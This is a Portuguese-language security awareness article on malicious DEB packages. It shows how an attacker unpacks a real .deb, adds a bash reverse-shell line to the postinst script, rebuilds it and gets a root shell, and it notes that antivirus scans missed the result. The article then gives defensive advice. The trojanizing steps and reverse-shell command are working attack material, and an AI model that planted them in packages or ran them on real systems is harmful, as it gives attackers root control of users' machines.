Pacotes DEB Inseguros: Como Detectar e Evitar Malware no Linux

Principais Conclusões

  • Pacotes DEB podem ser facilmente comprometidos, permitindo que atacantes insiram códigos maliciosos em seu sistema quando você os instala com privilégios de administrador (root).
  • Pacotes DEB infectados são complexos de identificar, pois podem não ser detectados por softwares antivírus ou serviços de análise online como o VirusTotal.
  • Para sua proteção, evite baixar pacotes DEB de portais da web desconhecidos, prefira sites de download oficiais ou locais de confiança da comunidade e considere instalar ferramentas de segurança para resguardar seu sistema Linux contra ataques cibernéticos.

Arquivos DEB são pacotes de software, o formato predominante para distribuição de software em sistemas Linux baseados em Debian.

Para a instalação de pacotes DEB, é preciso utilizar um gerenciador de pacotes como o dpkg, com permissões de administrador. Atacantes exploram essa vulnerabilidade, injetando códigos maliciosos nesses pacotes. Ao instalá-los, seja via dpkg ou outro gerenciador, o código nocivo é executado simultaneamente, comprometendo seu sistema.

Vamos investigar detalhadamente como pacotes DEB são comprometidos e quais medidas você pode tomar para se defender.

Como Pacotes DEB são Comprometidos?

Antes de entender o processo de comprometimento de pacotes DEB, vamos analisar o que constitui um pacote DEB. Para fins ilustrativos, baixarei o pacote DEB do Microsoft Visual Studio Code do site oficial da Microsoft. Este é o mesmo pacote que você usaria para instalar o VS Code no Linux.

Download: Visual Studio Code

Com o pacote em mãos, é hora de extraí-lo. Isso pode ser feito utilizando o comando dpkg-deb com a opção -R, seguido do caminho para armazenar o conteúdo:

 dpkg-deb -R <nome_do_pacote> <caminho> 

Isso irá descompactar o conteúdo do pacote VS Code.

Ao explorar as pastas, você encontrará diversos diretórios, mas o diretório DEBIAN é o foco principal. Este contém scripts de manutenção que são executados durante a instalação, com privilégios de administrador. Como você deve imaginar, atacantes alteram os scripts dentro desse diretório.

Para demonstração, modificarei o script postinst, adicionando um shell reverso TCP simples em Bash. Como o nome sugere, este script é executado após a instalação do pacote no sistema.

Ele contém instruções que completam as configurações, como a criação de links simbólicos, gerenciamento de dependências e outros. Vários exemplos de shells reversos podem ser encontrados na web, todos com funcionalidades semelhantes. Veja um exemplo de shell reverso em uma linha:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Análise do comando:

  • bash: O comando que inicia o shell Bash.
  • -i: Instrui o Bash a operar em modo interativo, permitindo comandos e saídas em tempo real.
  • >& /dev/tcp/ip/porta: Redireciona a saída padrão e a saída de erros para um socket de rede, estabelecendo uma conexão TCP com <ip> e <porta>.
  • 0>&1: Redireciona a entrada e saída para o mesmo local, neste caso, o socket da rede.

Para os leigos, um shell reverso é um tipo de código que, quando executado no sistema alvo, estabelece uma conexão de volta com o sistema do invasor. É uma forma eficaz de contornar restrições de firewall, já que o tráfego é iniciado pelo sistema atrás do firewall.

Abaixo, a aparência do script modificado:

Como observado, tudo permanece igual, exceto pela adição de uma linha, nosso shell reverso em Bash. É necessário reconstruir os arquivos no formato “.deb”. Utilize o comando dpkg com a opção --build ou dpkg-deb com a opção -b, seguida pelo caminho do conteúdo extraído:

 dpkg --build <diretório>
dpkg-deb -b <diretório>

O pacote DEB comprometido está agora pronto para ser distribuído em sites maliciosos. Vamos simular um cenário onde uma vítima baixa o pacote em seu sistema e o instala como faria com qualquer outro pacote normal.

A parte superior do terminal representa a perspectiva da vítima e a inferior, a do atacante. A vítima instala o pacote com sudo dpkg -i, enquanto o atacante aguarda conexões de entrada usando o comando netcat no Linux.

Ao final da instalação, o atacante obtém uma conexão de shell reversa, adquirindo acesso de administrador ao sistema da vítima. Agora você entende como pacotes DEB podem ser comprometidos. Vamos explorar como se proteger.

Como Identificar um Pacote DEB Malicioso

Com a ciência de que pacotes DEB infectados são reais, como identificá-los? Uma abordagem é usar um software antivírus Linux, como o ClamAV. No entanto, ao verificar o pacote com ClamAV, ele não foi sinalizado como malicioso. Veja o resultado da verificação:

Portanto, a menos que você utilize uma solução antivírus premium (e mesmo assim não há garantia de proteção), é difícil detectar pacotes DEB maliciosos. Vamos experimentar uma solução na nuvem, como o VirusTotal:

Como demonstrado, o VirusTotal também não detectou nada de irregular. A melhor proteção contra tais ameaças é seguir práticas básicas de segurança, como não baixar arquivos de fontes desconhecidas, sempre verificar o hash de um arquivo e, de modo geral, evitar instalar softwares de origem duvidosa.

A internet é um campo minado de ameaças. A única maneira de navegar com segurança é manter o bom senso e frequentar sites confiáveis. Em relação ao Linux, procure alternativas AppImage, já que são independentes, podem ser executadas em sandbox e, assim, ficam isoladas do seu sistema.

Evite Baixar Pacotes DEB de Sites Aleatórios!

Pacotes DEB não são intrinsecamente perigosos, mas invasores podem facilmente transformá-los em armas e distribuí-los a usuários desatentos. Um pacote DEB pode ser aberto e modificado para incluir código personalizado usando poucos comandos, o que o torna um vetor popular para a disseminação de malware.

Mesmo backdoors simples em pacotes DEB não são detectados por soluções antivírus convencionais. A melhor abordagem é jogar seguro, usar o bom senso na web e sempre baixar softwares de sites de download oficiais ou sites de confiança da comunidade.

Agora que você está ciente dos riscos de segurança associados à instalação de pacotes DEB de fontes desconhecidas, redobre sua atenção ao instalar novos softwares. No entanto, apenas cuidado com o que instala não é suficiente. Seu sistema Linux pode ser alvo de ataques de rede.

Para garantir sua segurança em caso de um ataque cibernético, considere instalar ferramentas de segurança de rede.